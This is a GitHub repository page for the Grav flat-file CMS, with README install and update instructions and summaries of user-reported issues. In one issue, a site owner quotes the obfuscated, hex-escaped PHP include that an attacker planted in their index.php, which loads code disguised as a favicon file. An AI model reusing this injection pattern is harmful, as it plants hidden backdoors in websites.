Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS

Overview

Grav

PHPStan SensioLabsInsight Discord PHP Tests OpenCollective OpenCollective

Grav is a Fast, Simple, and Flexible, file-based Web-platform. There is Zero installation required. Just extract the ZIP archive, and you are already up and running. It follows similar principles to other flat-file CMS platforms, but has a different design philosophy than most. Grav comes with a powerful Package Management System to allow for simple installation and upgrading of plugins and themes, as well as simple updating of Grav itself.

The underlying architecture of Grav is designed to use well-established and best-in-class technologies to ensure that Grav is simple to use and easy to extend. Some of these key technologies include:

Requirements

Documentation

The full documentation can be found from learn.getgrav.org.

QuickStart

These are the options to get Grav:

Downloading a Grav Package

You can download a ready-built package from the Downloads page on https://getgrav.org

With Composer

You can create a new project with the latest stable Grav release with the following command:

$ composer create-project getgrav/grav ~/webroot/grav

From GitHub

  1. Clone the Grav repository from https://github.com/getgrav/grav to a folder in the webroot of your server, e.g. ~/webroot/grav. Launch a terminal or console and navigate to the webroot folder:

    $ cd ~/webroot
    $ git clone https://github.com/getgrav/grav.git
    
  2. Install the plugin and theme dependencies by using the Grav CLI application bin/grav:

    $ cd ~/webroot/grav
    $ bin/grav install
    

Check out the install procedures for more information.

Adding Functionality

You can download plugins or themes manually from the appropriate tab on the Downloads page on https://getgrav.org, but the preferred solution is to use the Grav Package Manager or GPM:

$ bin/gpm index

This will display all the available plugins and then you can install one or more with:

$ bin/gpm install <plugin/theme>

Updating

To update Grav you should use the Grav Package Manager or GPM:

$ bin/gpm selfupgrade

To update plugins and themes:

$ bin/gpm update

Upgrading from older version

Contributing

We appreciate any contribution to Grav, whether it is related to bugs, grammar, or simply a suggestion or improvement! Please refer to the Contributing guide for more guidance on this topic.

Security issues

If you discover a possible security issue related to Grav or one of its plugins, please email the core team at [email protected] and we'll address it as soon as possible.

Getting Started

Exploring More

Backers

Support Grav with a monthly donation to help us continue development. [Become a backer]

Sponsors

Become a sponsor and get your logo on our README on Github with a link to your site. [Become a sponsor]

License

See LICENSE

Running Tests

First install the dev dependencies by running composer install from the Grav root.

Then composer test will run the Unit Tests, which should be always executed successfully on any site. Windows users should use the composer test-windows command. You can also run a single unit test file, e.g. composer test tests/unit/Grav/Common/AssetsTest.php

To run phpstan tests, you should run:

  • composer phpstan for global tests
  • composer phpstan-framework for more strict tests
  • composer phpstan-plugins to test all installed plugins
Comments
  • Class 'Grav\Plugin\Email\Email' not found

    Class 'Grav\Plugin\Email\Email' not found

    After upgrade to Grav v1.1.5 and Admin v1.2.2 using command line everything seemed to be ok. Once I push this changes the deployed to production this nasty message.

    Class 'Grav\Plugin\Email\Email' not found
    user/­plugins/­email/­email.php:35
    

    Is this happening to anybody else?

    more info needed 
    opened by diazwatson 60
  • cannot connect to the GPM

    cannot connect to the GPM

    Hi, I'm trying grav on my server. Apparently everything works fine but when I navigate in the admin repeatedly receive the message: cannot connect to the GPM. What does it mean? Am I missing something in the setup or configuration?

    question fixed 
    opened by rocandante 58
  • Errors in Admin Page - Plugins

    Errors in Admin Page - Plugins

    I'm using local server "Xampp". `Twig_Error_Runtime thrown with message "An exception has been thrown during the rendering of a template ("GPM not reachable. Please check your internet connection or check the Grav site is reachable") in "partials/plugins-list.html.twig" at line 19."

    Stacktrace: #31 Twig_Error_Runtime in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:402 #30 RuntimeException in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\GPM\GPM.php:473 #29 Grav\Common\GPM\GPM:findPackage in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:604 #28 call_user_func_array in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:604 #27 Twig_Template:getAttribute in C:\xampp\htdocs\grav-admin\cache\twig\b6\b6a16b9e99993d5305205028e010e1f471b3dfa16d9791de3725566abe70287b.php:72 #26 __TwigTemplate_812dd152f02b4c4e995fb2a2e134fb73f18fa1fc2bdaa0c164751063205c25e5:doDisplay in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:387 #25 Twig_Template:displayWithErrorHandling in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:355 #24 Twig_Template:display in C:\xampp\htdocs\grav-admin\cache\twig\4d\4d52b4af49aed4b34218dfba0d4aacb0e49c5ec1836447acc79aafdc1f78bf2f.php:218 #23 __TwigTemplate_d45efbb2ecfd1b6d175e48517c93ba1d3d4dbe975bc59085cd8b1e31d7a923f9:block_content in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:167 #22 Twig_Template:displayBlock in C:\xampp\htdocs\grav-admin\cache\twig\bc\bcedad5a9d9c096c0555639fe81c8eae8ad587d56962c88e545ddb97fbb1e4cb.php:205 #21 __TwigTemplate_a7caedeb0e8f9004b2ff859f14111da968f804e03a9687e4b90ccc5a5f872af1:block_page in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:167 #20 Twig_Template:displayBlock in C:\xampp\htdocs\grav-admin\cache\twig\bc\bcedad5a9d9c096c0555639fe81c8eae8ad587d56962c88e545ddb97fbb1e4cb.php:158 #19 __TwigTemplate_a7caedeb0e8f9004b2ff859f14111da968f804e03a9687e4b90ccc5a5f872af1:block_body in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:167 #18 Twig_Template:displayBlock in C:\xampp\htdocs\grav-admin\cache\twig\bc\bcedad5a9d9c096c0555639fe81c8eae8ad587d56962c88e545ddb97fbb1e4cb.php:45 #17 __TwigTemplate_a7caedeb0e8f9004b2ff859f14111da968f804e03a9687e4b90ccc5a5f872af1:doDisplay in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:387 #16 Twig_Template:displayWithErrorHandling in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:355 #15 Twig_Template:display in C:\xampp\htdocs\grav-admin\cache\twig\4d\4d52b4af49aed4b34218dfba0d4aacb0e49c5ec1836447acc79aafdc1f78bf2f.php:63 #14 __TwigTemplate_d45efbb2ecfd1b6d175e48517c93ba1d3d4dbe975bc59085cd8b1e31d7a923f9:doDisplay in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:387 #13 Twig_Template:displayWithErrorHandling in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:355 #12 Twig_Template:display in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:366 #11 Twig_Template:render in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Environment.php:347 #10 Twig_Environment:render in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Twig\Twig.php:340 #9 Grav\Common\Twig\Twig:processSite in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Service\OutputServiceProvider.php:19 #8 Grav\Common\Service\OutputServiceProvider:Grav\Common\Service{closure} in C:\xampp\htdocs\grav-admin\vendor\pimple\pimple\src\Pimple\Container.php:113 #7 Pimple\Container:offsetGet in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Processors\RenderProcessor.php:17 #6 Grav\Common\Processors\RenderProcessor:process in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:121 #5 Grav\Common\Grav:Grav\Common{closure} in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:396 #4 Grav\Common\Grav:Grav\Common{closure} in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:372 #3 call_user_func_array in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:372 #2 Grav\Common\Grav:__call in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:122 #1 Grav\Common\Grav:measureTime in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:122 #0 Grav\Common\Grav:process in C:\xampp\htdocs\grav-admin\index.php:45

    `

    fixed 
    opened by taechemist 41
  • Blog slugs with numbers are unstable

    Blog slugs with numbers are unstable

    If I use slug: this-is-a-title.html in an item.md (e.g. for an blog post), it works perfectly fine. But if I use slugs with numbers, e.g. slug: 10-this-is-a-title.html it sometimes works, but sometimes the slug of the blog post in Grav is shown without the number or even worse, the whole blog post gets an 404 error. I use Grav 1.0.0-RC4 without Admin-Plugin and with the Blog Skeleton (Antimatter).

    fixed 
    opened by mirkoschubert 38
  • Pages are extremely slow to load

    Pages are extremely slow to load

    I just started with a brand new installation of Grav (w/ admin tools). I'm working on a dev box with EasyPHP on PHP 7.0.4 locally. Functionally, the service is fine so far.

    However, I'm getting extremely slow load times from Grav, both on EasyPHP and WampServer. Admin panel pages take 7-8 seconds to load, and content pages take 3-4. Other pages of mine I work with locally take under a second.

    Based on the docs, Grav should be built to be highly performant. Are these kind of load times expected? If not, how can I diagnose the issue?

    I found the debugging view in Grav, and was able to get a view of where those 3 seconds are going. A lot of those seem to be taking longer than they should -- configuration, for example, is taking over 800ms by itself (200ms when it hits the cache, but the overall time is still over 3sec).

    Edit: Added debugging image and tested with WampServer also.

    question 
    opened by ekumlin 37
  • The list of pages is not displayed after updating Admin v1.10.7 (Grav v1.7.8)

    The list of pages is not displayed after updating Admin v1.10.7 (Grav v1.7.8)

    Is it possible that after updating to Grav v1.7.8 - Admin v1.10.7 the list of pages (/admin/pages) is not displayed? That is exactly what happened to me. Everything else works, including editing pages after entering a direct path (/admin/pages/anypage).

    Before I look for another cause of the problem, has it happened to someone else?

    bug fixed 
    opened by petira 35
  • Multiple security.yaml files

    Multiple security.yaml files

    • When installing Grav, file /user/cli/config/security.yaml containing a salt is being created
    • When running the site, file /user/localhost/config/security.yaml containing a different salt is being created
    • When Admin is run, file /user/config/security.yaml containing nothing is being created

    Is the above by desing? If so, why?

    If all three are required, why not using /user/env/cli/config/security.yaml and /user/env/localhost/config/security.yaml?

    bug fixed 
    opened by pamtbaau 34
  • Major security issues

    Major security issues

    Today i've noticed, that someone hijacked my Grav site on a VPS (none of other sites was affected, just Grav). I found they've added this code to my root index.php:

    /*07cd0*/
    
    @include "\x2fs\x72v\x2fw\x77w\x2fs\x65r\x6be\x6fr\x67/\x2fn\x6fd\x65_\x6do\x64u\x6ce\x73/\x70a\x74h\x2dr\x6fo\x74-\x72e\x67e\x78/\x66a\x76i\x63o\x6e_\x63e\x615\x656\x2ei\x63o";
    
    /*07cd0*/
    

    How is that possible? I've set correct permissions on files and dirs. Admin plugin has its flaws?

    cannot replicate 
    opened by avxkim 31
  • Markdown Twig filter stopped working

    Markdown Twig filter stopped working

    {% for p in page.collection %}
          {{ p.header.extra_description|markdown }}
    {% endfor %}
    

    The extra_description is a markdown editor field. This seemed to be working at some point, but now, it just returns blank. Other Twig filters work fine.

    question cannot replicate 
    opened by matthew-dean 30
  • CSS/JS pipelines with absolute urls

    CSS/JS pipelines with absolute urls

    I wish to use absolute urls and I'm using pipelining for css and js.

    I noticed that when you turn absolute urls on the compiled css and js tags disappear from the head section of html source breaking the site.

    question investigating 
    opened by jemmasta 29
  • Multilang-Site: Can't save frontmatter changes in expert mode in french language version.

    Multilang-Site: Can't save frontmatter changes in expert mode in french language version.

    i’m doing a multilang-site (en/fr) and i can edit the english version without problems. however, in the french version, as soon as i switch to expert mode, edit the frontmatter and try to save, there is simply no response from grav. no reload, no error, not even a message in the debug console… rather strange.

    i tried deleting some pages and created them anew, but the problem persists. if you want to try out yourself, here is my user-directory: http://toctoc.peacock.uberspace.de/_zips/user.zip - try changing the about/partners in the english / french version... if there's anything else you need, let me know.

    thank you!

    investigating recreated 
    opened by ulilu 29
  • Handle the situation when GRAV_ROOT or GRAV_WEBROOT are `/`

    Handle the situation when GRAV_ROOT or GRAV_WEBROOT are `/`

    I am using a hosting service which separates the site files in such a way that both GRAV_ROOT and GRAV_WEBROOT are /. Unfortunately, this tends to break some of the Grav and plugin's functionality—most importantly backups and upgrades (in grav-plugin-admin).

    This is caused by the use of rtrim to remove trailing slashes from path names. When GRAV_ROOT or GRAV_WEBROOT are / this effectively sets both to an empty string, which, in turn, makes the aforementioned scenarios to fail miserably.

    The fix is very simple. Whenever GRAV_ROOT or GRAV_WEBROOT are to be evaluated to an empty string (it can only happen if their paths contain only / characters), they are arbitrarily set to /.

    opened by thebodzio 0
  •  Autocorrect, autopunctuation, and autocapitalization not working on iOS Safari

    Autocorrect, autopunctuation, and autocapitalization not working on iOS Safari

    Description

    The autocorrect, autopunctuation, and autocapitalization features do not work on iOS for the content input.

    Steps to reproduce

    1. Install Grav
    2. Login
    3. Create a Page
    4. In the content area no characters get autocapitalized (eg after a period)
    5. Notice that entering two spaces does not result in a period followed by a space
    6. Notice that misspelled words do not result in a prompt for the correct spelling

    Versions

    Grav: 1.7.37.1 Admin: 1.10.37.1 PHP: 8.1.13 iOS Safari version: 15

    Recording

    https://user-images.githubusercontent.com/778111/209694510-edc9eb04-0573-4baf-941f-9de6905d5380.MOV

    opened by josephdpurcell 1
  • Devtools: Tailwind theme is broken

    Devtools: Tailwind theme is broken

    Hi there,

    I play around with Grav CMS and its plugin dev tools. With this plugin I had successfully created a theme with tailwind.

    I am a bit confused about a thing with this theme. In the “head” of the page I can see this code: <link rel="icon" type="image/png" href="/user/themes/taily/images/logo.png" />

    I can click on the link and I see the Grav-logo in a new browser window.

    But I can not see this image on the page itself. Why?

    The code in base.html.twig of the image is this: <link rel="icon" type="image/png" href="{{ url('theme://images/logo.png')|e }}" />

    Also the whole page output seems not working right now. It seems that the stylesheet is not loading exactly!

    Is the theme broken? Please fix it, I wanna use it for Grav CMS!

    I also made an issue for the developer of the tailwind theme for devtools plugin. But it was not fixed yet.

    opened by tauchvogel 1
  • HR tag breaks markdown

    HR tag breaks markdown

    Hi!

    Seems like GRAV expects the <HR> tag to have a matched closing one </HR>. Without it the following markdown will be rendered as a plain text:

    ---
    title: Hi there
    ---
    <HR>
    This won't look like [markdown](https://mark.down/).
    
    opened by u07 0
Releases(1.7.37.1)
Owner
Grav
Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS
Grav
Pico is a stupidly simple, blazing fast, flat file CMS.

Pico Pico is a stupidly simple, blazing fast, flat file CMS. Visit us at http://picocms.org/ and see http://picocms.org/about/ for more info. Screensh

null 3.6k Jan 5, 2023
Pico is a stupidly simple, blazing fast, flat file CMS.

Pico is a stupidly simple, blazing fast, flat file CMS.

null 3.6k Jan 5, 2023
Pico is a stupidly simple, blazing fast, flat file CMS.

Pico is a stupidly simple, blazing fast, flat file CMS.

null 15 Jul 30, 2022
Herbie is a simple Flat-File CMS- und Blogsystem based on human readable text files

Herbie is a simple Flat-File CMS- und Blogsystem based on human readable text files

HERBIE 63 Nov 13, 2022
FlatPress is a lightweight, easy-to-set-up flat-file blogging engine.

[flatpress.org] [Support forum] [Wiki] [GitHub] [Mastodon] [Twitter] [Changelog] [Contributors] Welcome to FlatPress! FlatPress is a lightweight, easy

FlatPress 143 Dec 22, 2022
Statamic 3 - the flat-first, Laravel + Git powered CMS designed for building beautiful, easy to manage websites

Statamic 3 - the flat-first, Laravel + Git powered CMS designed for building beautiful, easy to manage websites

Statamic 600 Jan 4, 2023
Azuriom is a modern, reliable, fast and secure game CMS.

Azuriom Azuriom is the next generation game CMS, it's free and open-source, and is a modern, reliable, fast and secure alternative to existing CMS so

Azuriom 359 Jan 4, 2023
Azuriom - a modern, reliable, fast and secure game CMS.

Azuriom is the next generation game CMS, it's free and open-source, and is a modern, reliable, fast and secure alternative to existing CMS so you can have the best web experience possible.

Azuriom 281 May 5, 2022
HTMLy is an open source Databaseless Blogging Platform or Flat-File Blog prioritizes simplicity and speed written in PHP

HTMLy is an open source Databaseless Blogging Platform or Flat-File Blog prioritizes simplicity and speed written in PHP. HTMLy can be referred to as Flat-File CMS either since it will also manage your content.

Dan 858 Jan 6, 2023
Mecha is a flat-file content management system for minimalists.

Mecha CMS Mecha is a flat-file content management system for minimalists. Front-End The default layout uses only Serif and Mono fonts. Different opera

Mecha 133 Jan 1, 2023
Feindura - Flat File Content Management System

feindura - Flat File Content Management System Copyright (C) Fabian Vogelsteller [frozeman.de] published under the GNU General Public License version

Fabian Vogelsteller 39 Dec 30, 2022
GetSimple CMS - a flatfile CMS that works fast and efficient and has the best UI around, it is written in PHP

GetSimple CMS is a flatfile CMS that works fast and efficient and has the best UI around, it is written in PHP.

null 370 Dec 30, 2022
BaiCloud-cms is a powerful open source CMS that allows you to create professional websites and scalable web applications. Visit the project website for more information.

BaiCloud-cms About BaiCloud-cms is a powerful open source CMS that allows you to create professional websites and scalable web applications. Visit the

null 5 Aug 15, 2022
Powerful framework for designers and developers to create responsive, fast & robust Joomla based websites and templates.

Astroid Framework Powerful Frontend Template Framework for Joomla CMS Powerful framework for designers and developers to create responsive, fast & rob

JoomBoost 1 Oct 28, 2021
Modern CMS with shop features based on fullstack symfony and sylius components

The enhavo CMS is a open source PHP project on top of the fullstack Symfony framework and uses awesome Sylius components to serve a very flexible soft

enhavo 80 Dec 14, 2022
Bolt CMS is an open source, adaptable platform for building and running modern websites.

Bolt CMS is an open source, adaptable platform for building and running modern websites. Built on PHP, Symfony and more. Read the site for more info.

Bolt 437 Jan 4, 2023
🚀Bolt CMS is an open source, adaptable platform for building and running modern websites

??Bolt CMS is an open source, adaptable platform for building and running modern websites

Bolt 32 Dec 3, 2022
Twill is an open source CMS toolkit for Laravel that helps developers rapidly create a custom admin console that is intuitive, powerful and flexible. /// Chat with us and others on Spectrum: https://spectrum.chat/twill

About Twill Twill is an open source Laravel package that helps developers rapidly create a custom CMS that is beautiful, powerful, and flexible. By st

AREA 17 3k Jan 6, 2023
A flexible and fast Cms built with Symfony and Vuejs.

GreenCheap CMS A modular and lightweight CMS made with Symfony and Vuejs components GreenCheap works with PHP 8 version. In this case, lower versions

GreenCheap 57 Oct 29, 2022